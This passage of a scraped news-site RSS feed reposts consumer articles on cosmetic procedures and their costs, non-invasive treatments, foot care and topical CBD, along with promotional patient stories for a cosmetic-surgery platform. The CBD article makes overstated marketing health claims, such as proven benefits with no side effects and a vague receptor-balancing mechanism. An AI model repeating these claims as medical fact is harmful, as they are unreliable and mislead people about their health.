PRP is a serum made using platelets from the patient’s own blood, which is then injected into the face to promote the skin’s natural healing powers and slow signs of aging. After a small amount of blood is taken, the facial treatment takes about 30 minutes. Results are visible within a couple of weeks and two or three sessions are recommended to get the full effect. The recovery period for a Vampire Face Lift is minimal and patients can expect a little tenderness and redness where the injections have been made. Typically this procedure costs between $450 and $650 per session.

Dimpleplasty

As the name suggests, a dimpleplasty is a minimally-invasive procedure to create dimples in the cheeks or chin and has become increasingly popular in recent years. Dimples are seen as an attractive facial feature in western culture and natural dimples are actually a muscular abnormality created by a gap in the buccinator (cheek) muscle and causes a slight indentation in the skin. A dimpleplasty takes about half an hour to create a similar indentation artificially.

Usually performed under local anesthesia, the surgeon makes a small incision in the buccinator muscle from inside the mouth which creates the dimple. While this is a minimally-invasive procedure, patients still need to be careful for a few days after the treatment. Antibacterial mouthwash and antibiotics may be prescribed to keep the incision clean. Results are visible in about two weeks. A dimpleplasty costs between $1,500 and $2,500 depending on how many dimples are made.

Blepharoplasty (Eyelid surgery)

The area around the eyes can be one of the first on our face to show signs of aging. Eyelid skin can droop and cause a dull, tired look and excess skin around the eyes can add to the appearance of aging. Blepharoplasty is the medical term for eyelid surgery and can involve the surgical enhancement of the upper and lower eyelid. This enhancement may mean the removal of fatty deposits which cause puffiness around the eyes, tightening and smoothing of either or both eyelids, and the removal of excess skin which helps reduce the appearance of lines and create a more youthful, bright-eyed appearance.

Blepharoplasty is a surgical procedure and recovery times vary depending on the type of work done, though most patients can expect up to two weeks of healing before results are fully visible. The average cost is around $3,000 as estimated by the American Society of Plastic Surgeons.

Brachioplasty (Arm Lift)

As we age, the skin around our upper arms stretches and fat deposits can make it appear undefined and saggy. Brachioplasty is a form of body contouring that sculpts and removes unwanted skin from the upper arm, creating a leaner and more youthful appearance. The term covers a wide range of procedures, including skin removal, fat removal, and skin tightening. A brachioplasty can also include a fat transfer, where fat is removed from one area of the body, like the upper arm, and put into another area, like the butt or breast.

As is typical of surgical procedures like this, the recovery time for brachioplasty is between two and three weeks. The cost of a brachioplasty varies from practice to practice, but on average costs between $4,000 and $4,500.

Otoplasty (Ear Lift)

You’ve likely heard of a face lift, a breast lift and even a neck lift, but another cosmetic procedure becoming more popular is the otoplasty (ear lift). Otoplasty refers to a range of different cosmetic surgery procedures, including ear size reduction, ear pinning (called pinnaplasty and used to correct protruding ears), and ear reshaping. The process required for any of these procedures is minimally-invasive and generally performed under local anesthetic. Depending on the type of surgery you want done, it usually involves the surgeon making a small incision behind the ear, removing cartilage and then pinning or stitching the ear into the desired shape.

During recovery from otoplasty, ears can feel numb and tender. Stitches need to be kept dry until they can be taken out, usually after about a week. After two weeks, the surgery should be fully healed and the final results visible. Like other procedures, the cost of otoplasty varies, but on average is around $3,000.

Facial Hair Implants

You may have heard of hair implants, a popular cosmetic surgery option to help treat hair loss and male pattern baldness. Now for those who want a fuller beard, moustache, sideburns, or thicker eyebrows, but can’t naturally grow them, facial hair implants are an option. The new procedure involves removing hair follicles from the scalp and carefully implanting them into the face one by one. Usually performed under local anesthesia, the procedure uses hundreds of tiny grafts of hair depending on the desired density of facial hair. After the grafting process is complete, the area must be kept completely dry for about five days. After two weeks, the hair will shed and after three months, it will grow back thicker and fuller, even if the area has never grown hair before.

Facial hair implants typically cost about $3,000 to over $7,000 depending on the number of grafts that are needed.

Vaginal Rejuvenation

Vaginal rejuvenation, or vaginal reconstructive surgery, refers to a wide range of both non-surgical and surgical procedures that are performed on the vaginal area and are designed to reduce laxity, improve sexual satisfaction, tighten vaginal walls and help reconstruct the vagina both internally and externally after childbirth. Procedures can involve laser and radiofrequency treatments for tightening the internal canal, labial reduction surgery, and monsplasty, which reduces fat deposits in the mons pubis (located above the vagina).

Depending on the type of treatment, the recovery period for most vaginal rejuvenation surgeries is one to three weeks. Non-surgical vaginal rejuvenation can cost between $500 – $1,000 while surgical options have a higher price tag of between $5,000 – $8,000.

Gynecomastia Surgery (Male Breast Removal)

“Aesthetic surgery is increasingly becoming a genderless pursuit, with men and women alike seeking treatments,” says Dr. Sweeney. While female breast reduction is more common, male breast removal surgery is also a popular procedure for men. The technical term for excess breast tissue in men is gynecomastia and men can see it due to weight gain or because their body has an imbalance of the sex hormones testosterone and estrogen. Gynecomastia surgery, or reduction mammaplasty, involves removing excess fat through liposuction, removing excess skin using excision techniques or a combination of the two.

Recovery time is typically between two and three weeks with full effects seen after three to six months. Scarring is common, but if the procedure is done properly, will likely fade over time. Male breast reduction surgery costs an average of $3,500 to $5,000 depending on the practitioner.

No cosmetic procedure, including those listed above, is without risk. Make sure you visit a board-certified plastic surgeon at an FDA-approved clinic and consult at least two different cosmetic surgeons to ensure you have all the information before proceeding. Always ask the doctor questions about risks and the necessary steps to recovery before embarking on any procedure. And since it is unlikely that any cosmetic surgery will be covered by your health insurance, be sure to ask about the cost of any surgery up front.

]]> https://briefnews.eu/8-cosmetic-procedures-you-havent-heard-of/feed/ 0 The Most Affordable Non-Invasive Cosmetic Procedures https://briefnews.eu/the-most-affordable-non-invasive-cosmetic-procedures/ https://briefnews.eu/the-most-affordable-non-invasive-cosmetic-procedures/#respond Mon, 19 Aug 2019 13:09:20 +0000 http://briefnews.eu/?p=254594 Article was originally published on Aedit.

Nearly all invasive surgical procedures in the US cost well over $3,000. However, it is possible to enjoy non-invasive treatments at a fraction of that cost. Dr. Wendy W. Lee, M.D. tells use which treatments can give you the most bang for your buck.

Kristi Carignan

Cosmetic surgery is always evolving to accommodate changing beauty trends and demands from the latest generation of customers. A combination of medical advancements and growing social acceptance of cosmetic treatments has resulted in more non-invasive treatments, which are ideal for those who would rather not go under the knife.

Non-invasive cosmetic procedures causes minimal discomfort compared to invasive surgical procedures, such as body contouring and breast augmentations among others, and they typically have little to no recovery time. This allows patients to get back to everyday life almost immediately. The health risks of non-invasive treatments are also much lower than those posed by surgery (such as an infection, a potential reaction to anesthetic, and scarring), and they often have minimal side effects. Perhaps the most attractive aspect to most people is that, individually, non-invasive treatments have a much lower price tag since they don’t require the expense of anesthetic or additional surgical fees.

According to the American Society of Plastic Surgeons (ASPS), nearly all invasive surgical procedures in the US cost well over $3,000. However, it is possible to enjoy non-invasive treatments at a fraction of that cost, even for $500 or less, which makes them increasingly popular options.

We spoke to Wendy W. Lee, M.D., Associate Professor of Clinical Ophthalmology and Dermatology at the Oculofacial Plastic and Reconstructive Surgery Practice in Miami, about the most affordable treatments available across the US. “Single-area botulinum toxin injections, chemical peels, some eyelid tightening, and skin care”, she says, “are typically the most inexpensive procedures available on the market today.”

Botulinum Toxin (Botox®)

This type of bacterial toxin, used to treat wrinkles, is easily the most well-known non-invasive procedure today. According to the ASPS, over 7 million people got Botox® treatments in 2017, an 819% increase since 2000. The toxin has the ability to inhibit signals between nerves and muscles, which means it is highly effective in reducing the appearance of fine lines and wrinkles caused by natural muscle contractions under the skin. The most common brands of botulinum toxin are Botox®, Dysport® and Xeomin® and all are available as injections.

These injections are incredibly popular for clients wishing to fight the signs of aging. By relaxing the facial muscles, Botox® and other forms for botulinum toxin help create a smooth and youthful visage by reducing the appearance of wrinkles, frown lines and crow’s feet.

According to the ASPS, one session of botulinum toxin injections in the US costs an average of $385. The actual price varies, depending on the amount of treatment need, your provider, and which area you’re hoping to tackle. The entire procedure usually takes as little as 15-20 minutes (so quick you can do it in your lunch hour!), and there are few risks involved. The treatment takes effect after about a week and there is little to no recovery time, except for possible tenderness and redness to the injected area.

Chemical Peels

Another popular non-invasive procedure that has enjoyed a surge of popularity in recent years is the chemical peel. The procedure involves the application of a chemical solution designed to strip away layers of dead skin cells, leaving skin refreshed, smooth, and with reduced signs of aging.

Generally, a chemical peel is performed on facial skin, however, it can also be used on other areas, including the neck, décolletage and hands. Chemical peels can also be used to treat skin that is scarred by acne or suffering from sun damage and it can help tighten loose or sagging skin. There are three levels of chemical peel, light, medium and deep and which one you choose depends on the extent of treatment you desire.

A light chemical peel has the effect of a deep cleanse, a medium peel will see layers of dead skin peel away over the following few days, and a deep peel is used with a local anesthetic, before a chemical called phenol is brushed over the skin and sealed in with an ointment. The latter is generally used for issues such as acne scarring or for those who want a one-off treatment with lasting effects. A light peel will have minimal signs of redness and swelling; a deep peel may take up to three months to fully heal.

Chemical peels are considered one of the most cost-effective forms of cosmetic treatment on the market. The overall price usually includes the cost of the procedure itself, the anesthetic (if applicable), plus any prescriptions needed following the treatment. According to the ASPS, the average cost of a chemical peel is $698, but this number accounts for all levels of peel from light to deep. The average light chemical peel costs less than $500.

Eyelid Tightening

As Dr. Lee noted, another popular non-invasive treatment is eyelid tightening, which can be done using a range of different non-surgical methods. Eyelids can be one of the first areas of the face to show signs of aging and cosmetic procedures are frequently used to treat these signs, whether it’s removing under-eye bags, pinning back dropping lids, or tightening the skin to reduce the appearance of wrinkles and crow’s feet. The ASPS recommends two different methods for non-invasive eyelid tightening: microdermabrasion and dermal fillers.

Microdermabrasion uses a small abrasion instrument to gently sand away the outer layer of the skin’s surface and can be done around the eye area with care to create a smoother, tighter and more youthful look. The average price of this treatment is $137, although this number does not necessarily cover the cost of related expenses such as additional prescription medication (if needed).

Dermal fillers are another popular non-surgical option for those who want a lift in the eyelid area. Fillers can be used to smooth uneven skin, stimulate collagen production, even skin tone, reduce age spots, and create a firmer, more youthful-looking complexion and skin texture. There are several types of dermal filler and which one you choose depends on the area you are getting treated. Fillers containing hyaluronic acid, such as Juvederm® and Restylane®, or calcium hydroxylapatite, as found in Radiesse®, are particularly effective in dealing with eyelid-related issues. Both cost an average of $670, although it is possible to find practices doing it for $500 or less. It all depends on how much is used and which areas are treated.

Is Non-Invasive Treatment More Cost-Effective Than Invasive Surgery?

Non-invasive treatments offer “less downtime, no operation room time (so there is less risk involved), and they are less expensive per treatment,” says Dr. Lee. Expense is a key factor for many patients looking to enhance their look. Non-invasive treatments are less of a health risk, but also less of a financial risk, so even those with a lower budget can participate.

But the price tag per treatment can be misleading. “Yes, they are cheaper than invasive surgery but long term, probably not,” says Dr. Lee. The issue is the longevity of these treatments, as none of them are permanent, and many patients will need to return for further treatments in the future. This can add up to thousands of dollars over time. When considering a treatment and if cost is an important factor for you, it’s worth looking at the overall expense of repeat non-invasive treatments and compare them with an invasive alternative. Be aware of both the risks and the longevity of each treatment before you hand over your money, so you know you’re getting exactly what you want from your practitioner.

]]> https://briefnews.eu/the-most-affordable-non-invasive-cosmetic-procedures/feed/ 0 The Perfect Pedicure: The Best Treatments For Feet, Nails, and Toes https://briefnews.eu/the-perfect-pedicure-the-best-treatments-for-feet-nails-and-toes/ https://briefnews.eu/the-perfect-pedicure-the-best-treatments-for-feet-nails-and-toes/#respond Tue, 30 Jul 2019 09:11:18 +0000 http://briefnews.eu/?p=254242 Article was originally published on Aedit.

Perhaps the secret to getting your feet through summer sandal season isn’t at the nail salon but at the dermatologist’s office.

India Bottomley

The lazy, hazy, crazy days of summer are well underway, which means sandal season is in full swing. And, while you may have treated yourself to a pampering pedicure to complement your flip flops and slides, how much attention have you paid to the rest of your foot?

Despite all of the time and attention we devote to caring for our face and bodies, the area south of the ankle is often an afterthought — that is, if you think about it at all. “I see patients daily who come in with issues with their feet,” says Washington Square Dermatology’s Samer Jaber, MD, who is also a clinical assistant professor at the Icahn School of Medicine at Mount Sinai in New York City.

From dry skin and odor to visible veins and cankles, the feet are just as prone to wear and tear as the rest of the body — and they are just as much in need of TLC, too. For those dealing with foot problems that even the prettiest toe nail polish color can’t distract from, there are cosmetic treatments and medical procedures to address everything from premature aging to funguses and to get your feet in tip-top shape before Labor Day.

The Concern: Premature Aging

When is the last time you remembered to put sunscreen on your feet? If the answer is “never,” you’re not alone. But, in addition to the skin cancer threat, it may be aging you. As with any other area of the body, foot skin can show signs of aging (think: crepiness, sun spots, wrinkles, and more) if it is not looked after. Fortunately, there are plenty of remedies — from topical medication and skincare to lasers and fillers — for those looking to turn back the clock.

Topicals Whether you’re practicing a 12-step K-beauty skincare routine or keeping things minimalistic, you are likely using products formulated with brightening, exfoliating, and clarifying active ingredients on your face. So why not extend that same thinking to your hooves?

The skin on the top of the feet is relatively thin, so it can absorb products well, but the tougher skin of the heels and soles is a different story. “Lotions or creams are great for the thinner skin on the surface of the foot but aren’t as effective on the heel or sole,” says West Hollywood dermatologist Jason Emer, MD. “I recommend patients use a spray or mousse formula on their feet because these options are more suitable for areas with hardened skin.”

In addition to incorporating SPF into your daily foot care routine, Dr. Emer encourages patients to look for over-the-counter products with vitamin C, glycolic acid, and retinoids to improve the tone and texture of foot skin.

  • Vitamin C: The powerful antioxidant is a skincare (and foot care!) must for its brightening abilities that even skin tone and fight free-radical damage.
  • Glycolic Acid: The alpha hydroxy acid (AHA) is known for its exfoliating powers, which can slough off the dull, dead skin cells on the surface of the skin to reveal more youthful skin below.
  • Retinoids: The vitamin A derivative boosts collagen production and increases cell turnover for plumper skin.

Laser Treatments Lasers can treat cosmetic skin concerns from head to toe, and Dr. Emer uses Aerolase, in particular, to treat a number of foot conditions. “Lasers can be used to treat feet that are showing premature signs of aging,” he explains. “We use them to treat visible veins, skin discoloration, sun damage, as well as for laser hair removalon the foot area.”

Fillers Not just for the face, hyaluronic acid-based fillers can be injected on the top of the foot to create a plumped, youthful look where tissue may be losing its natural volume due to the aging process.

Additionally, they can be used to disguise the appearance of bulging veins or tendons in the area. It is not uncommon for people who workout regularly to lose fat on their feet (you’re running regimen doesn’t just have you choosing between your ass and your face), which can make tendons appear more visible over time. “We use fillers to cover tendons in the feet,” says Dr. Emer. “Belotero, in particular, tends to give a softer result.”

Foot Facials Though a bit less spa-like than your typical trip to the nail salon, medical pedicures can provide relief for patients dealing with an array of foot and nail issues, and they are often coupled with additional treatments at a dermatologist’s office.

Dr. Emer, for example, offers a “foot facial” that incorporates microdermabrasion to soften and brighten skin — a professional take on the tried-and-true foot scrub. And one of his current go-to treatments for feet has an aquatic twist. He applies exfoliating fish enzymes to gently dissolve dead skin cells and leave the foot smoother and more youthful.

When it comes to treating calluses and other stubborn skin, Dr. Emer will sometimes employ an ultrasound machine to help serums and other topicals penetrate deeper for better and faster results.

Cankle Definition One of the most difficult areas to tone is the space between the calf and the ankle (a.k.a. the “cankle”), which is visible when wearing strappy sandals or heels.

Dr. Emer Calf Lipo

Dr. Emer recommends liposuction or liposculpt to patients looking for a more defined calf and ankle, and the same approach can be used on the upper calf as well for an overall slimming effect (as seen in the before and after photo above!).

The Concern: Itchiness, Funguses, and Odor

While cosmetic treatments are available to those looking to improve the appearance of their feet, the nitty gritty of foot care is a little less glamorous — but no less important.

From fungal infections like onychomycosis that thicken nails to itchy rashes caused by eczema or other skin conditions, dermatologists can treat these concerns with a mix of professional and at-home remedies.

For Itchiness Foot itchiness is generally caused by a fungus (think: athlete’s foot) or skin condition like eczema. “For most patients who come to me with a fungus issue, a simple treatment with a prescription antifungal cream twice a day for two weeks is all they need,” says Dr. Jaber. In the case of eczema, a patient will likely be dealing with flare-ups on other parts of the body, too, and a dermatologist will be able to get to the root cause and triggers (be it stress, food sensitivities, or more) for longer term management.

For Thickened or Yellowed Toenails Toenails are not immune from funguses either, and fungal nails can be treated with laser therapy, topical treatment, oral medication, or some combination of the three. Regardless of which approach you choose, however, patience will be key.

“Nail funguses often come back after treatment, and the treatment process, when taken orally and with topical application, is long,” warns Dr. Jaber. “It takes three months of antifungal medication and a year of topical medication for a full course.” Results from lasers, meanwhile, will not be visible until the affected part of the nail grows out, which could take months.

But, not to fret, there are some easy ways to help prevent fungal infections. For starters, Dr. Jaber recommends keeping closed-toe shoes (think: sneakers) clean and dry and using an antifungal powder as a precaution. And, in case you needed another excuse to reach for your sandals, open-toe shoes are ideal for thwarting funguses.

For Odor Sweaty feet (especially in the heat of summer) are hard to avoid, but the moist environment is the likely culprit behind some of the most common foot concerns. “Usually foot odor is caused by sweaty feet, which encourages a bacterial or fungal infection,” explains Dr. Jaber, who recommends keeping smells at bay by “making sure footwear is breathable” and “taking shoes and socks off” upon getting home from work to dry feet out.

While a dermatologist can prescribe a topical antifungal, antibacterial, or a prescription-strength antiperspirant depending on the cause of the odor, at-home remedies — like tea tree oil-infused warm water soaks — can sometimes do the trick as well.

The Bottom Line

The oft-neglected feet deserve just as much time and attention as the rest of the body, and taking a bit of TLC could have you well on your way to the perfect pedicure — no matter the season.

To prevent premature aging, Dr. Emer and Dr. Jaber both encourage patients to apply sunscreen to the tops of the feet daily when footwear (like sandals) leave them exposed. Rashes, odor, and discolored nails, meanwhile, can be treated with prescription medication and other professional procedures performed at a dermatologist’s office. Last but not least, those dealing with foot pain caused by bunions, ligaments, and more should consult a podiatrist.

]]> https://briefnews.eu/the-perfect-pedicure-the-best-treatments-for-feet-nails-and-toes/feed/ 0 Skin Deep: Your Ultimate Guide to Topical CBD https://briefnews.eu/skin-deep-your-ultimate-guide-to-topical-cbd/ https://briefnews.eu/skin-deep-your-ultimate-guide-to-topical-cbd/#respond Tue, 30 Jul 2019 08:27:41 +0000 http://briefnews.eu/?p=254228 Article was originally published on MadeByHemp.

As the world embraces CBD for its medicinal value, CBD product manufacturers and other health professionals continue to discover more and more ways to take advantage of its health and medicinal benefits. This offers consumers more options and allows them to choose the method most convenient for them. Methods include oils, tinctures, edibles, patches, vape oil, and topicals in the form of creams, lotions, balms, and more.

Topical CBD, unlike other CBD products, doesn’t enter the bloodstream but is no less effective. Depending on the issue you’re trying to address, it could even work faster than say, tinctures and edibles, which are ingested, and work from inside the body. Because topical CBD is applied right to the skin and exactly where it’s needed, the cannabinoid is absorbed directly into the affected area so it’s able to work faster, providing quick relief.

Whether you’re new to cannabidiol and deciding which product is for you, or you’re just exploring other options, we’ve got everything you need to know about topical CBD right here.

topical cbd product being made
What is Topical CBD? (and How Does it Work?)

Topical CBD is a product infused with cannabinoids, which are compounds found in the cannabis plant, and designed to be applied externally, onto the skin. It is known to provide quick localized relief without ingestion. Since topical CBD it is applied externally, it only affects the surface layers of the body. This is all it needs though.

Inside each of our bodies is an endocannabinoid system (ECS) which is a network of receptors which can be found in the brain, nervous system, and other parts of your body. The ECS is also in our skin and is the key to how topical CBD works.

Topical CBD works by interacting with the ECS receptor points in our skin. When these receptors are activated, they start to seek out “stressed” receptors and bring them back into balance. When we have stressed out receptors, we notice symptoms ranging from aches and pains to general soreness and stiffness.

Now that you know a little about how CBD works topically, let’s discuss the various types of skincare products it can be found in.

 

[Can CBD for Athletes Speed up Muscle Recovery?]

 

What are the Different
Types of Topical CBD?

Topical CBD has essentially three different consistencies: creams and lotions, balms and salves, and oil. Here’s how they are different from each other.

CBD Cream and Lotion

cbd topical cream

CBD cream and lotion fall under the same category because while creams are slightly thicker than lotions, they have similar consistency and texture. These products make use of a small amount of water, along with moisturizing agents like shea butter, aloe vera, and other nutrients. These are formulated to moisturize and restore the skin barrier.

CBD Salve and Balm

roll on cannabidiol salve

Unlike creams and lotions, CBD salve and balm products do not use water, hence the more solid consistency. They are typically made with beeswax and fatty oils combined with CBD. They are thick and harder to spread throughout the skin compared to creams and lotions, therefore, these products are best used on specific, targeted areas that need relief.

Topical CBD Oil

cbd topical oil

Topical CBD oil often has other ingredients like olive oil or coconut oil. They are also formulated with other essential oils, vitamins, and minerals. They are the easiest to spread over large areas of the body and are best used as a massage oil to relieve pain and give your skin an over-all relaxing sensation.

How Do you Apply Topical CBD Products?

  1. Make sure to clean the affected area prior to application. It’s best to wash it with soap and water to rid the spot of any other product residues, dirt, or natural oils as these could affect your skin’s absorption of the product.
  2. Take a good amount of the product and massage it onto the problem areas. Leave it for a few minutes so it’s absorbed into the skin before covering it with a bandage or putting garments over it.
  3. Use as frequently as needed to get the best results. CBD products don’t get you high, plus topical CBD doesn’t really enter the bloodstream so it won’t have any effects to the rest of your body.
  4. Wash your hands when you’re done. CBD topicals have other active ingredients and while they provide relief to painful areas of your body, it could sting when it gets to your eyes and other parts of the body.

What are the Most Common Uses of Topical CBD?

CBD has been proven to have anti-inflammatory benefits, and because one of the most common causes of pain is inflammation, using topical CBD can provide relief and relaxation.

Sun Burn

Overexposure to the sun’s rays is what triggers sunburns. The affected skin then turns red and irritated, and in severe cases, it can cause swelling and blisters. These are signs of inflammation. CBD creams and lotions can help reduce the pain and inflammation and at the same time helps rehydrate the burnt skin.

Arthritis Pain

Arthritis is the inflammation of one or more of your joints, most commonly associated with aging. It causes moderate to severe pain, swelling, and stiffness, and could even limit your ability to move the affected body part. Topical CBD can help with the symptoms, according to a study made in 2015. It concludes that topical CBD application has therapeutic potential for relief of arthritis pain-related behaviors and inflammation without evident side-effects.

Muscle Pain

A lot of athletes have been using CBD to speed up muscle recovery after rigorous training. They often take it orally, but topical CBD has similar effects. CBD creams, salves, and balms can help relax the muscles and reduce inflammation and the physical discomforts caused by intense physical activities.

Other studies claim that topical CBD may prove helpful for other skin issues like acne, eczema, psoriasis, and more.

 

[Why You Should Not Buy CBD Oil on Amazon]

 

woman cbd skincare products

What are the Different Factors to Consider When Choosing a Topical CBD?

If you’re new to topical CBD and trying to figure out which product will work for you, it’s best to take a look at the different factors and understand how they come into play with each product. Here are a few things you need to consider.

Ingredients

There would often be other ingredients in topicals apart from CBD and they’re not always the same. Different manufacturers use different ingredients and once you know what you want to use the topical for, you have to make sure that the added ingredients in it do not counter your desired effect.

For example, if you hope to treat skin issues by using CBD cream but the formulation includes other comedogenic ingredients that could block your pores, it could do more harm than good. Always read up and do your research.

Concentration

The potency of topical CBD affects its effectiveness so you might want to check if a product’s potency is strong enough to make it past the skin so that it can work on providing relief to the affected area. Always opt for high-quality topicals that are highly concentrated to get the best results.

Consistency

Different consistencies of topical CBD may vary in effectiveness, and depending on what you want to use it for, one product may be better for you than the other. For example, balms and salves are thicker than lotions and creams and may work better because its thickness makes it easier for the skin to absorb it. On the other hand, if you have dry skin and need a little bit of hydration, you might want to go for lotions and creams as they contain moisturizing agents that could ease the dryness. It’s always a good idea to match the products to your specific needs.

Manufacturer

Make sure you source CBD skincare products from manufacturers you can trust. Legit CBD companies have high-quality products and provide you with an accurate chemical breakdown of everything that they offer, allowing you to make an informed decision when it comes to choosing the kind of topical that’s right for you.

Final Thoughts

Topical CBD for skin, like other CBD products, is a great alternative to over-the-counter medicines. Studies have proven their anti-inflammatory benefits without the side effects that traditional, prescription medications often have.

To maximize the benefits of topical CBD, know exactly what your problem areas are—it’s always good to have a specific target. Then, do your research so you know how to choose the best consistency and the exact product that can address it. Finally, observe best practices when using it.

]]> https://briefnews.eu/skin-deep-your-ultimate-guide-to-topical-cbd/feed/ 0 Finding The Real Me: How Cosmetic Procedures Can Reveal Your Inner Beauty https://briefnews.eu/finding-the-real-me-how-cosmetic-procedures-can-reveal-your-inner-beauty/ https://briefnews.eu/finding-the-real-me-how-cosmetic-procedures-can-reveal-your-inner-beauty/#respond Tue, 23 Jul 2019 07:29:30 +0000 http://briefnews.eu/?p=254104 Article was originally published on Aedit.

While a cosmetic procedure certainly can enhance someone’s appearance, it can do so much more than just that. Reconstructing a feature or enhancing body shape can not only make someone look better but also it can boost their confidence…

Samantha Stone

Sitting in front of her closest family and friends, Melissa* made a wish and blew out the 26 candles on her birthday cake. All around the table, her friends snapped away to document the special occasion. The next day, when Melissa looked at the photos of her blowing out the candles, she did not see herself.

“I saw a photo of my profile and I was shocked! I did not think the photo looked like me, yet it was,” Melissa said. “I realized I did not look the way I thought I looked which was a strange feeling.”

While a cosmetic procedure certainly can enhance someone’s appearance, it can do so much more than just that. Reconstructing a feature or enhancing body shape can not only make someone look better but also it can boost their confidence and make them feel more like themselves.

Choosing to undergo a cosmetic procedure is not an overnight decision for most. While some procedures are reversible (e.g. dermal filler), others are permanent (e.g. facelift or nose job). Because of that, the research process can be quite lengthy as patients look to gain a holistic understanding of the different options and what each procedure entails.

Like Melissa, many patients undergo a considerable process of pre-contemplation, consideration, and research before following through. All of Melissa’s life she had joked about pursuing a nose job (rhinoplasty) before giving plastic surgery serious thought. For as long as she could remember, she never liked her nose and felt “it better suited a man and was not feminine.” It was not until she moved to Manhattan that she realized, it was now or never. She was surrounded by some of the best plastic surgeons. In Melissa’s mind, there was no excuse not to.

As a first step, Melissa, like most prospective cosmetic procedure patients, turned to the internet to research options. She focused on people who were happy with results but also sought out less successful stories to better understand potential risk. Similarly, Anne*, an tummy tuck (also known as abdominoplasty) patient, shared how she watched a video of an actual abdominoplasty procedure on YouTube when contemplating surgery. From that, she learned that an abdominoplasty is not a light decision, but a “major procedure.” Regardless, to Anne, it was worth it to rebuild her confidence by removing the extra skin she had from weight loss and tightening the loosened stomach muscles that were stretched out from pregnancy.

After identifying which procedure and type of doctor, the natural next step is to schedule office visits for consultations. Anne had a friend who had a tummy tuck and was happy with the results, so Anne knew that if she were to follow through with a tummy tuck, she would see her friend’s board certified plastic surgeon. On the other hand, Melissa did not know anyone who had had a rhinoplasty before so she consulted with two rhinoplasty specialists and one general plastic surgeon. In addition to reviewing potential cosmetic surgeons’ credentials, like medical school, residency program, and plastic surgery training, Melissa made sure to discuss surgical techniques as well as request examples of each plastic surgeon’s past rhinoplasty work. Using a platform like AEDIT is also a great way to find a top rated doctor. With a curation of only board certified doctors, users can easily find and be confident in their selection.

While Melissa and Anne knew exactly which procedures they wanted to pursue, sometimes it can be less clear for others. For instance, when targeting unwanted fat, there can be several methods available, like CoolSculpting, liposuction, or KYBELLA®, just to name a few. As Matt, a KYBELLA® patient, shared “after doing the research it still was hard for me to find a procedure that was right for me [and] I kinda gambled.” Before learning about AEDIT which is a one stop shop for information about cosmetic procedures, Matt found the research process time consuming and difficult. He explained that “the information is sprawled all over the internet, and I had to cobble it together from different sources.” Like Melissa, Matt did not like the way he looked in pictures and never felt comfortable taking photos with family or friends. In his case, he knew that weight loss alone was not going to solve his issue. Even at his skinniest, he still was unsatisfied and uncomfortable with his appearance in photos. KYBELLA® was a non-invasive way to treat the excess fat under the chin (also known as submental fullness) with injections administered by a KYBELLA® trained specialist..

Recovery is just as important as the surgery so patients must also plan for recuperation as well. Depending on the procedure type, patients can be out of commission for days or even weeks. With Anne’s general surgery, she had to stay in bed and lay flat on her back for a week. Prior to her surgery, Anne had arranged for her daughter to care for her. With less invasive treatments like KYBELLA®, recovery time is much shorter when compared to a procedure like a tummy tuck or facelift. However, with less invasive treatments like KYBELLA® or dermal filler, patients may have to have several treatments before seeing its effects and a noticeable difference.

Possibly even more difficult than the physical stress of procedures is the trust patients must have in their doctors. Patients must trust that their plastic surgeons or certified injectors understand their vision of what they would like to look like coming out of the procedure. They also must find the right balance of change so they still look like themselves but are not a completely different looking person. Fortunately, there are simulators, like the AEDITOR app, which is a precise facial morphing tool where people can adjust their nose, brows, and lips in order to ensure they are comfortable with the changes before following through with surgery.

“Looking back, I was nervous and told the doctor I wanted a nose job but I still wanted to look like ME,” Melissa said. “And thinking back now, that was the wrong thing to say because the fact was- I was seeking plastic surgery because I did not want to look like me.”

Feature focused plastic surgeries, like Melissa’s rhinoplasty, can feel risky for the person undergoing the surgery because they are reconstructing a feature in an entirely new way. The outcome is not as easy to visualize compared to procedures, such as facelifts or tummy tucks, which have clear objectives to leave the patient looking naturally younger or thinner. When possible, it is important to use a facial simulator, like the AEDITOR app, especially when trying to communicate objectively with the doctor. When pursuing weight loss or rejuvenation procedures, most patients have already seen themselves in that younger or thinner state and know exactly what to expect. On the other hand, when changing specific features, such as the nose, cheeks, or lips, or undergoing reconstructive surgery, like fixing a cleft lip, patients are hoping to uncover a new external identity. The goal is for them to look in the mirror and see their true selves for the first time.

With major advances in aesthetic surgery over the years, people can be the best physical versions of themselves through the endless options of cosmetic procedures. Dreams of having the perfect curves, toned abs, or plump lips are made a reality through surgery and/or injections. Even more impactful, are the advances that benefit those seeking reconstructive or preventative surgery. Breast Cancer survivors can mask their wounds through breast reconstruction surgeries and citizens of third world countries can regain confidence through plastic and reconstructive surgeries offered by mission trips.

For larger surgeries, such as a tummy tuck or breast surgery (e.g. breast augmentation or breast reduction), changes can be immediately noticeable. Even so, patients can still keep their procedures private if they wish to. “I didn’t tell many people about the surgery and just told them I had lost weight, which was pretty obvious,” Anne explained. To this day, only Anne’s closest family and friends know about her recent surgery.

So, can cosmetic procedure patients find the inner confidence they were hoping for? The short answer: absolutely.

With treatments like Xeomin®, KYBELLA®, or CoolSculpting, improvements can be delayed because of the multiple sessions needed, but can still be highly transformative. Matt shared that he required three sessions of KYBELLA® but “once there was a noticeable difference it made me much more confident on a daily basis.”

Melissa felt her confidence boosted immediately after healing from her rhinoplasty. Prior to surgery, she was self-conscious that the first thing people noticed about her was her nose. After surgery, Melissa was relieved that her nose would no longer be the focal point of her face. Even though Melissa is so happy she took action and control of this pain point of hers, she admits she would have approached the surgery differently by working with a rhinoplasty specialist rather than a board certified plastic surgeon. “I still do not love the way it looks which is a little disappointing, but it is better than it was, and I have accepted that as being better than nothing,” Melissa said.

It can be hard to achieve perfect results and complete satisfaction, but it is not impossible! Anne shared how happy she is with her tummy tuck, even several years later. Anne opted for a tummy tuck to regain her confidence for her daughter’s wedding. “When I went to try on the dress for my daughter’s wedding and looked in the mirror, I was incredibly overwhelmed,” Anne shared. “Besides having lost weight, the surgery made my torso look incredible. I never thought I could look that good!”

With open expectations and willingness to change, aesthetic procedures have the potential to not only enhance appearance but also transform someone’s confidence!

The patient’s name has been changed.

]]> https://briefnews.eu/finding-the-real-me-how-cosmetic-procedures-can-reveal-your-inner-beauty/feed/ 0 Finding the Right Plastic Surgeon, Dermatologist, or Cosmetic Dentist https://briefnews.eu/finding-the-right-plastic-surgeon-dermatologist-or-cosmetic-dentist/ https://briefnews.eu/finding-the-right-plastic-surgeon-dermatologist-or-cosmetic-dentist/#comments Mon, 25 Feb 2019 12:43:59 +0000 http://briefnews.eu/?p=250339 Article was originally published on Aedit.

When considering a cosmetic procedure, it is so important to find the right doctor for you.

Samantha Stone

